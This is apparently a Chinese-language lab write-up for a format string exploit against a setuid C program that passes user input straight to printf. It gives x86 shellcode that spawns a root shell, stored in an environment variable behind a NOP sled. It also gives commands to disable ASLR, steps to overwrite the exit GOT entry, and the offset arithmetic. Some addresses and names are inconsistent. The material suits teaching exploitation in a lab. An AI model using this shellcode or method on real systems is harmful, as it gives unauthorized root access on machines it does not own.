// vul.c
/*
* 如果獲得環境變量的程序和攻擊的程序的文件名長度不一樣,環境變量的地址
* 會發生偏移。因此,要麼令兩個程序的文件名長度相等(推薦),要麼考慮偏
* 移來計算環境變量地址。
* gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面這段代碼編譯並且 suid,然後普通用戶執行它,要求就是成
功獲得 root shell。
- 觀察以上代碼,我們的思路是將shellcode寫進環境變量,然後獲取環境變量的地址,再將這個地址覆蓋exit函數的地址,這樣,在程序執行到exit(0)的時候,就會執行我們的shellcode。
- 下面給出的get.c用於獲取環境變量地址:
//get.c
//export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}
- 首先,關閉地址隨機化:sudo sysctl -w kernel.randomize_va_space=0
2.編譯get.c,利用 root 把vul.c編譯並且 suid,還要使棧可執行
3.定義一個環境變量 EGG 存放 shellcode,再執行get獲取它的地址。
export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
得到EGG地址爲:0xbfff29e
4.查找exit的地址:objdump -R vul
可以看到exit的地址爲0x0804a00c
5.查詢 AAAA 在內存中位置:
AAAA在第11個位置。
6.實施攻擊,實施攻擊的關鍵是計算把 shellcode 的地址 0xbffff29e 寫到析
構函數的返回地址(即 0x 0804a00c)所指向的內存字中所需要的偏移量。
計算偏移量:
- 49143=bfff-8;
- 12959=f29e-bfff;
攻擊成功…成功獲得root權限~